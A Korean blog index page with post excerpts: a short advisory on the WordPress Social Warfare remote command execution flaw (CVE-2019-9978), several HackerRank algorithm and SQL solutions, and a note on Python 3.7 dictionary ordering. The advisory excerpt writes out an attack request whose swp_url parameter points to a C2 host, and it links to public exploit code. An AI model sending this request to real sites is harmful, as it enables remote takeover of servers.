본문 바로가기

지식이 늘었다

[cve-2019-9978] 특정 파라미터를 이용한 wordpress 원격 명령 실행 공격 swp_debug=load_option과 swp_url 파라미터를 이용한 wordpress RCE 공격이 발생하고 있다. * https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/ 아래와 같은 요청을 할 경우 취약한 서버는 바로 원격명령이 가능하다 (ls, wget 등등..) GET /wp-admin/admin-post.php?swp_debug=load_option&swp_url=hxxp://c2 * 공격 코드 https://github.com/mpgn/CVE-2019-9978 * 해당 취약점은 3.5.3버전에서 조치했다고 한다 https://www.cybersecurit.. 더보기
[Hackerrank - algorithm] Sherlock and Anagrams =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/sherlock-and-anagrams/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=dictionaries-hashmaps========================================================================================= q개의 문자열을 입력받았을 때 각각 문자열에서 anagram* 쌍의 갯수를.. 더보기
[Hackerrank - algorithm] Sherlock and the Valid String =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/sherlock-and-valid-string/problem========================================================================================= 한 문자열을 입력 받았을 때 문자열 내 문자 빈도수가 일치하는지 확인하는 문제.단, 문자 빈도수가 일치하지 않을 경우 한번의 삭제 기회가 주어진다. 변수는 다음과 같다.s = 문자열 예를 들어, 1) s = aabbcd 를 입력받았을 경우 "NO" (a.. 더보기
[Hackerrank - algorithm] Highest Value Palindrome =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/richie-rich/problem========================================================================================= 한 문자열을 받았을 때, 제한된 횟수 내에 제일 큰 Palindromes (앞뒤가 똑같은 숫자, 0110 같은..) 를 만드는 문제. 변수는 다음과 같다.s = 문자열n = 문자열 길이k = 제한된 횟수 예를 들어,1) s = 1010, n = 4, k = 2 을 입력받았을 경.. 더보기
[Hackerrank - algorithm] Array Manipulation =========================================================================================※ 문제 링크https://www.hackerrank.com/challenges/crush/problem?h_l=interview&playlist_slugs%5B%5D=interview-preparation-kit&playlist_slugs%5B%5D=arrays Starting with a 1-indexed array of zeros and a list of operations, for each operation add a value to each of the array element between two given indices, inclusi.. 더보기
[Hacker_rank - SQL] Projects 문제 링크 : https://www.hackerrank.com/challenges/projects/problem 문제는 간단하다! Sample InputSample Output2015-10-28 2015-10-29 2015-10-30 2015-10-31 2015-10-13 2015-10-15 2015-10-01 2015-10-04 이걸 쿼리로 구현해봐라 인데.. 위의 예제를 보면 아래의 그림과 같다 이걸 보면 바로 계층구조 쿼리가 생각 날 것이다 (CONNECT_BY_ISLEAF, CONNECT_BY_ROOT, CONNECT BY PRIOR) 이걸 바탕으로 정렬만 조금 신경쓰면 문제 해결! ================================================================.. 더보기
[python] python 3.7 Dictionray의 큰 변화! 아니 이게 무슨일이란 말이요!!! dictionary 가 입력한 순서대로 출력된다니 말이오!!! 놀랍게도 사실이다 (python 3.7이상부터 기본 특징이 됐음) 우연이 아니다 심지어 메모리와 속도까지 향상됐다는 사실!! 메모리가 기존보다 30%~95% 절약 된다고 한다 이 큰 변화는 아래의 짤로 쉽게 이해가 된다. * 이 글은 아래의 링크를 본 후 지식이 늘었습니다.https://blog.sinwoobang.me/post/176050610602/pythondictorderhttps://mail.python.org/pipermail/python-dev/2012-December/123028.htmlhttp://code.activestate.com/recipes/578375/ 더보기